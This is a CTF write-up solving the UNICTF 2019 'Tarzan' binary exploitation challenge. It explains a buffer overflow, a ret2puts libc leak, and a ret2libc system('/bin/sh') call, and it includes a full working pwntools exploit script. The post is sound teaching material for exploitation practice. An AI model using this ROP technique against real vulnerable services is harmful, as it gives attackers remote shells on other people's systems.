So in this post, I'm going to talk about how to solve the Tarzan pwn challenge from UNICTF 2019. Back in the day when the competition is still going I couldn't finish it and don't have any clue to solve this but this time I was able to finish it :)
Also in this post, we will be going to be heavily focused on how to utilize pwntools to construct a ROP chain. If you kinda confused about my explanation in this post you can refer to this following youtube video, link: https://www.youtube.com/watch?v=gWU2yOu0COk
I build the python script based on this video
Ok, let's get started!
In this challenge, you will get two binary first go with tarzan and libc-2.29.so by providing .so file it tell us what version library that the target machine is using this could help us to do ROP chain.
first, we run the Tarzan binary to get the basic idea of the program work and as you can see it just show you some text, newline and when you try to input something it doesn't give anything
Let's load it into peda
check the security (as you can see the NX is on this means we cannot put a shell on it since the stack is not executable) and when enumerating function inside the program. It doesn't really give us any function that is interesting
when you open the main function you can see that the read function is allocating buffer in the wrong manner make it vulnerable to buffer overflow. Let's try to find how many offsets we need to overwrite the RIP
Ok so we need 24 bytes of offsets to take control of the RIP
To make sure we got the right offset we are going to make the following script
part 1, we initialize the binary into the ELF object and at the same time, we passed it also to the context.binary function and by passing the ELF object to context.binary it automatically tells the pwntools to load the binary with architecture that is used by the binary and the gdbscript variable itself only put a breakpoint in the main function (this is optional you can custom it according to your need) this variable will be passed into point 2 and 3 of our script
parts 2 and 3, Ok, so why we need to create this two functions in python script it seems like a waste of time. Because in my opinion, I think it is better when we do some testing I want to get the information as detail as possible on how the binary behavior so using this two functions can show a more verbose output when we interact with the binary locally or remote
part 4, the start variable will check if the script is passed with argument LOCAL or remote with this script know what mode we want to run. The rest of the code is pretty simple we start the program to make a ROP object from the ELF object that we make from part 1 and load the library since we want to refer every function location from this library.
when it runs it will give us a very detail interaction between the program and the user
now to test our offset we update the script to be like this
notice that I used fit function to send data to the binary. This is basically told the script to generate 24 random characters to the binary and after the 24th characters, we append the location of the main function. If the offset was right it will go back again to the main function and will give us another prompt else it will crash the application.
But how do we know that we passed the main function with the right offset of bytes since the binary is 64 bit. Don't worry pwntools already take care of that since we already passed the architecture information at the first part of the program
~# python exploit.py LOCAL DEBUG
cool! so we can say that we got the right offset since from the figure when we run the script we get the banner of "Hello tarzan.." twice this means we are able to control the flow of the program.
let's update the script to create the first ROP chain like the above figure. Now, this is what makes creating the ROP chain a little less painful in pwntools. As you can see there is a rop.call function this is used chain our function call together.
the first rop.call function put together puts function and puts location in GOT in the first phase we want to dump the puts function using ret2puts approach and then we continue to append the rop chain with the main function so it will back again to the main function so we can use it again in the second phase
but wait the minute what about the ROP gadget. Don't worry pwntools already take care of it so when you construct the following ROP it will automatically put pop rdi; ret location at the ROP chain
so using these two rop.call function the payload will be set up like this:
| pop rdi; ret | -> assign the puts GOTs as the first param
| puts function | -> function executed
| puts GOTs | -> parameter for the function
| main function| -> return address
if you run the following updated script as you can see at the first few bytes contain the address of puts function and this where debug function that we create at the beginning of script become handy we can easily spot the leaked address
cool so we can this byte and display it in our script, update the script again to be like this:
notice that we passed False param at the io.recvline() function this is used to make the script to stop reading the byte when hit the newline character which is "\xa"
u64 use to convert the string that leaks the address of the puts function into a number and notice before we unpack it, we left-justified the data to eight with "\x00" this is basically to get rid of the newline that we got earlier
Next, since we have the leaked address we can use this to calculate the libc address that was provided in the challenge. Update the following script like the below figure
we subtract the puts leaked address with the puts that inside the libc-2.29.so file to get the libc base address and assign it as the base address of our ELF object for .so file earlier.
run the script again and we got the base address of libc-2.29.so next we will construct the second ROP to pop a shell.
we got the address of system function using "l.sym.system" and the location of "/bin/sh" string using l.search("/bin/sh") we need to pass it to next function since the return data type is an iterator.
then at the end we generate 24 characters again with the rop.chain function and then use the interactive function to communicate with the shell.
if you run the following python script you will definitely 100% get a segmentation fault
why?
because of the fact that the Tarzan binary is using libc.so.6 library from your host not the libc-2.29.so version
so how the hell can we test this exploit work or not?
I do a little bit of research and it turns out libc-2.29.so is used in the ubuntu 19-04 distribution. So I just download the image and run it in virtualbox
the final script is like this:
from pwn import *
elf = context.binary = ELF("./tarzan")
gdbscript = '''break *0x{elf.symbols.main:x}
continue
'''.format(**locals())
def local(argv=[], *a,**kw):
if args.gdb:
return gdb.debug([elf.path] + argv, gdbscript=gdbscript,*a,**kw)
else:
return process([elf.path] + argv, *a, **kw)
def remote(argv=[], *a,**kw):
io = connect(host,port)
if args.GDB:
gdb.attach(io,gdbscript=gdbscript)
return io
start = local if args.LOCAL else remote
io = start()
rop = ROP(elf)
l = ELF("./libc-2.29.so")
io.recvline()
io.recvline()
io.sendline(fit({24:elf.sym.main}))
#first rop (ret2puts)
io.recvline()
io.recvline()
rop.call(elf.sym.puts,[elf.got.puts])
rop.call(elf.sym.main)
io.sendline(fit({24:rop.chain()}))
leak_puts = io.recvline(False)
io.recvline()
io.recvline()
puts_addr = u64(leak_puts.ljust(8,"\x00"))
log.info("puts addr:{}".format(hex(puts_addr)))
#get libc base address
libc_base = puts_addr - l.sym.puts
l.address = libc_base #adjust libc address
log.info("libc is at: {}".format(hex(l.address)))
#io.interactive()
#second rop(get the shell)
r= ROP(elf)
system = l.sym.system
bin_sh = next(l.search("/bin/sh"))
log.info("system is at: {}".format(hex(system)))
log.info("bin/sh is at:{}".format(hex(bin_sh)))
r.call(system,[bin_sh])
print disasm(r.chain())
io.sendline(fit({24:r.chain()}))
io.interactive()
cool :) so we pop a shell btw I'm not 100% sure that this exploit is working in the real-life environment at the competition since at that time I never had a chance to test it.
I hope this helps you to utilize pwntools more.
Comments
Post a Comment